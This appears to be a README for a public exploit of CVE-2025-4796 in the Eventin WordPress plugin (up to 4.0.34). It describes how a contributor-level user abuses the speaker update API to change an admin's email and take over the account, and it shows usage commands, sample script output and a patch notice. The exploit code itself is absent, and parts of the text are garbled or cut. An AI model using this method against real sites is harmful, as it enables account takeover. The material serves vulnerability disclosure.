
eventin <= 4.0.34 - privilege escalation via user email change / account takeover for authenticated contributor+
eventin <= 4.0.34 - privilege escalation via user email change / account takeover for authenticated contributor+
privilege escalation bug in eventin wordpress plugin (<= 4.0.34) that lets any contributor or higher user change any users email through the plugins speaker update api. by changing an admin email to one the attacker controls, they can reset the password and take over the account.
eventin\speaker\api\speakercontroller::update_item)eventin doesnt properly check who is requesting the update or if they re allowed to change the user email. a contributor or higher can call this endpoint:
requirements:
install requests:
pip install requests
run the script and enter required values when prompted:
python3 CVE-2025-4796.py
[+] turning off ssl verification warnings
[+] login into wordpress.
[+] login successful.
[+] fetching nonce token
[+] nonce token found: abcdef1234567890
[+] update request for speaker email
[+] update operation successful.
url: http://example.com
id: 123
email: [email protected].
user: attacker
pass: yourpassword
{.
"id": 123,
"email": "[email protected]",
"name": "Speaker Name",
...
}.
patch has been released in version 4.0.35 of the eventin plugin. Site administrators are strongly advised to update to this version immediately. The fix includes additional user validation checks in the SpeakerController::update_item function